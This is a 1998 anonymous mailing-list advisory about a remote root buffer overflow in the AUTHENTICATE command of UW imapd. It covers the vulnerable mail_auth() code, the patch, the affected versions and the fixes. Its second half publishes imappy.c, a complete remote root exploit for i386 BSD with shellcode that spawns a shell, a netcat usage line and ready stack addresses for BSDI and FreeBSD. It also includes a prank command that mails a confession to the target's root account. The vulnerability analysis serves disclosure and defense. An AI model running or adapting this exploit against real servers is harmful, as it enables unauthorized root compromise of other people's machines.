Date: Fri, 17 Jul 1998 00:06:30 +0200
From: Anonymous <[email protected]>
To: [email protected], [email protected], [email protected],
Subject: EMERGENCY: new remote root exploit in UW imapd
INTRODUCTION
On July 10, 1998 a message was posted to the University of Washington Pine
mailing lists about a security problem in the UW imapd server released with
Pine 4.00, viewable at:
http://www.washington.edu/pine/pine-info/1998.07/msg00062.html
Out of curiosity, I decided to do some source code diffs to see what
changed between the patched and unpatched versions of imapd. Sure enough,
there was a *major* security hole. The message from the Pine developers
failed, however, to underscore the severity of the hole hence this security
advisory.
TECHNICAL DETAILS
This recent hole is similar in nature to the older hole described in CERT
Advisory CA-97.09 and the Secure Networks advisory of March 2, 1997 upon
which the CERT advisory is based, but this is an all new hole and is *not*
covered by the fixes presented in these advisories. The full text of each
previous advisory can be found at:
http://www.secnet.com/sni-advisories/imap.advisory.03.02.97.htmlhttp://www.cert.org/advisories/CA-97.09.imap_pop.html
The previous IMAP server hole involved a stack buffer overflow condition in
the processing of the IMAP LOGIN command in which arbitrary machine code
can be executed by carefully crafting an overly long user name. This time
the affected command is the IMAP AUTHENTICATE command, which takes one
argument specifying the authentication mechanism. When a carefully crafted
mechanism name that exceeds the size of a special stack buffer is presented
to the IMAP server, the saved instruction pointer on the stack is
overwritten with a altered value that can result in the execution of
arbitrary machine code, due to coding errors in the IMAP server.
The following source code discussion pertains to imapd 10.234 as
distributed with Pine 4.00. The problem code appears in the mail_auth()
routine in mail.c of the IMAP server source code distribution, which reads:
char *mail_auth (char *mechanism,authresponse_t resp,int argc,char *argv[])
{
char tmp[MAILTMPLEN];
AUTHENTICATOR *auth;
/* make upper case copy of mechanism name */
ucase (strcpy (tmp,mechanism));
for (auth = mailauthenticators; auth; auth = auth->next)
if (auth->server && !strcmp (auth->name,tmp))
return (*auth->server) (resp,argc,argv);
return NIL; /* no authenticator found */
}
The problem lies in the strcpy() call that copies the contents of mechanism
to tmp which resides on the stack as an automatic variable. The tmp buffer
is MAILTMPLEN bytes in size, with MAILTMPLEN defined to be 1024 in mail.h.
However, the command string read from the client by the server is placed
into a buffer TMPLEN bytes in size, with TMPLEN defined to be 8192 in
imapd.c, thus allowing the passing of arguments to mail_auth() that greatly
exceed the size of its temporary buffer. Since the IMAP server has not
yet given up its root privileges at this stage of the login process, this
programming oversight can be exploited to yield root compromise on the IMAP
server machine.
Crafting machine code to take over the IMAP server through the AUTHENTICATE
command buffer overflow presents technical challenges because the buffer
contents are passed through ucase() which transforms all lowercase
characters to uppercase, so the exploit machine code, which typically
spawns a shell, must be impervious to mangling by toupper(). The
"standard" i386 BSD exploit code, however, proves to be exceptionally
resilient and actually the only necessary modification proves to be
protecting the lowercase characters in the string "/bin/sh" which requires
only trivial modifications.
Recent versions of imapd also include checks in parse_astring() in imapd.c
to reject characters with the high bit (eighth bit) set, so malicious
exploit code (which often contains characters greater than 0x7f and
non-letter characters) must be smuggled in as a string literal argument to
the AUTHENTICATE command, which proves to be only a minor difficulty.
IMPACT
Any remote individual with malicious intentions may gain root access to the
machine running a vulnerable version of imapd, with no knowledge of any
valid local usernames or passwords. As such, this matter should be treated
with the utmost of seriousness.
VULNERABLE SYSTEMS
Initial analysis seems to indicate that versions of the UW imapd IMAP 4.1
server up through version 10.234 distributed as part of the Pine 4.00
distribution are vulnerable. Versions as old as 10.191 have been analyzed
and found to be vulnerable, and it is believed that earlier versions are
likely vulnerable, as well. It may be safe to assume that all versions of
imapd (previous to and including the version distributed with Pine 4.00)
that support the IMAP AUTHENTICATE command are vulnerable.
At the present time it is not known if any UW imapd IMAP2bis servers are
vulnerable to this specific hole, but they are likely vulnerable to the
older LOGIN hole described in the advisories referenced above.
FIX INFORMATION
As a temporary emergency measure, it is recommended that all sites running
vulnerable versions of imapd disable their IMAP service in /etc/inetd.conf
until it is possible to upgrade to a patched version of the server.
The University of Washington is currently distributing a separate version
of imapd (confusingly, also numbered 10.234) outside of the Pine
distribution that addresses the overflow in mail_auth(). The patched code
reads:
char *mail_auth (char *mechanism,authresponse_t resp,int argc,char *argv[])
{
char tmp[MAILTMPLEN];
AUTHENTICATOR *auth;
/* cretins still haven't given up */
if (strlen (mechanism) >= MAILTMPLEN)
syslog (LOG_ALERT|LOG_AUTH,"System break-in attempt, host=%.80s",
tcp_clienthost ());
else { /* make upper case copy of mechanism name */
ucase (strcpy (tmp,mechanism));
for (auth = mailauthenticators; auth; auth = auth->next)
if (auth->server && !strcmp (auth->name,tmp))
return (*auth->server) (resp,argc,argv);
}
return NIL; /* no authenticator found */
}
This patched version of imapd may be obtained at:
ftp://ftp.cac.washington.edu/mail/imap.tar.Z
COMMENTARY
In some ways, it is depressing to find this new hole. Programmers are
still making the same mistakes they have made for years. Doesn't anyone
learn from the past? Can strcpy() ever be used safely? Perhaps the
software development community, and certainly those writing network service
daemons that run as root, should discontinue using *any* C library
functions that do not include bounds checking information, such as
sprintf(), strcat(), and strcpy(). Yes, they *can* be used safely but the
potential for misuse is too great. When will we learn? When?
I'll end my diatribe here.
EXPLOIT INFORMATION
What good is a security advisory without exploit information? The
following code exercises the buffer overflow condition on platforms running
i386 versions of BSD UNIX, such as FreeBSD or BSDI. I cannot be held
responsible for the consequences of releasing this code nor can I be held
responsible for results of its application. I am releasing this code to be
used for ethical purposes in diagnosing and testing the associated
vulnerability. Do not use this code to break into systems against the
wishes of their owners.
In short, be good, kids. Okay?
Oh, one other thing. If you're trying to use this code and it doesn't seem
to be working, type the following command at your UNIX prompt:
echo "v nz gelvat gb unpx ebbg" | tr a-z n-za-m | mail root@hostname
where "hostname" should be replaced with the hostname of the machine
running the IMAP server. Make sure you type it exactly as listed, since
every character counts. Once you've done that, try the exploit code again
and it should work.
Yours truly,
Cheez Whiz
[email protected]
imappy.c
----- cut here ----- cut here ----- cut here ----- cut here -----
/**
*** i386 BSD remote root exploit for UW imapd IMAP 4.1 server
***
*** This is *not* the same bug addressed in CERT Advisory CA-97.09!
***
*** Usage: % (imappy nop esp offset; cat) | nc hostname 143
***
*** where nop is the number of NOP opcodes to place at the start of the
*** exploit buffer (I use 403), esp is the %esp stack pointer value, and
*** offset is the number of bytes to add to esp to calculate your target
*** %eip.
***
*** Demonstration values for UW imapd 10.234 (part of Pine 4.00):
***
*** imappy 403 0xefbfd5e8 100 (BSDI 3.0)
*** imappy 403 0xefbfd4b8 100 (FreeBSD 2.2.5)
***
*** THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER
***
*** Cheez Whiz
*** [email protected]
***
*** July 16, 1998
**/
#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <string.h>
#define BUFLEN (2*1024)
#define NOP 0x90
char shell[] =
/* 0 */ "\xeb\x34" /* jmp springboard */
/* start: */
/* 2 */ "\x5e" /* popl %esi */
/* 3 */ "\x8d\x1e" /* leal (%esi),%ebx */
/* 5 */ "\x89\x5e\x0b" /* movl %ebx,0xb(%esi) */
/* 8 */ "\x31\xd2" /* xorl %edx,%edx */
/* 10 */ "\x89\x56\x07" /* movl %edx,0x7(%esi) */
/* 13 */ "\x89\x56\x0f" /* movl %edx,0xf(%esi) */
/* 16 */ "\x89\x56\x14" /* movl %edx,0x14(%esi) */
/* 19 */ "\x88\x56\x19" /* movb %dl,0x19(%esi) */
/* 22 */ "\x31\xc0" /* xorl %eax,%eax */
/* 24 */ "\xb0\x7f" /* movb $0x7f,%al */
/* 26 */ "\x20\x46\x01" /* andb %al,0x1(%esi) */
/* 29 */ "\x20\x46\x02" /* andb %al,0x2(%esi) */
/* 32 */ "\x20\x46\x03" /* andb %al,0x3(%esi) */
/* 35 */ "\x20\x46\x05" /* andb %al,0x5(%esi) */
/* 38 */ "\x20\x46\x06" /* andb %al,0x6(%esi) */
/* 41 */ "\xb0\x3b" /* movb $0x3b,%al */
/* 43 */ "\x8d\x4e\x0b" /* leal 0xb(%esi),%ecx */
/* 46 */ "\x89\xca" /* movl %ecx,%edx */
/* 48 */ "\x52" /* pushl %edx */
/* 49 */ "\x51" /* pushl %ecx */
/* 50 */ "\x53" /* pushl %ebx */
/* 51 */ "\x50" /* pushl %eax */
/* 52 */ "\xeb\x18" /* jmp exec */
/* springboard: */
/* 54 */ "\xe8\xc7\xff\xff\xff" /* call start */
/* data: */
/* 59 */ "\x2f\xe2\xe9\xee\x2f\xf3\xe8" /* DATA (disguised /bin/sh) */
/* 66 */ "\x01\x01\x01\x01" /* DATA */
/* 70 */ "\x02\x02\x02\x02" /* DATA */
/* 74 */ "\x03\x03\x03\x03" /* DATA */
/* exec: */
/* 78 */ "\x9a\x04\x04\x04\x04\x07\x04"; /* lcall 0x7,0x0 */
char buf[BUFLEN];
unsigned long int nop, esp;
long int offset;
void
main (int argc, char *argv[])
{
int i;
if (argc < 4) {
printf("usage: %s nop esp offset\n", argv[0]);
return;
}
nop = strtoul(argv[1], NULL, 0);
esp = strtoul(argv[2], NULL, 0);
offset = strtol(argv[3], NULL, 0);
memset(buf, NOP, BUFLEN);
memcpy(buf+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i < BUFLEN - 4; i += 4)
*((int *) &buf[i]) = esp + offset;
printf("* AUTHENTICATE {%d}\r\n", BUFLEN);
for (i = 0; i < BUFLEN; i++)
putchar(buf[i]);
printf("\r\n");
return;
}
To Unsubscribe: send mail to [email protected]
with "unsubscribe security" in the body of the message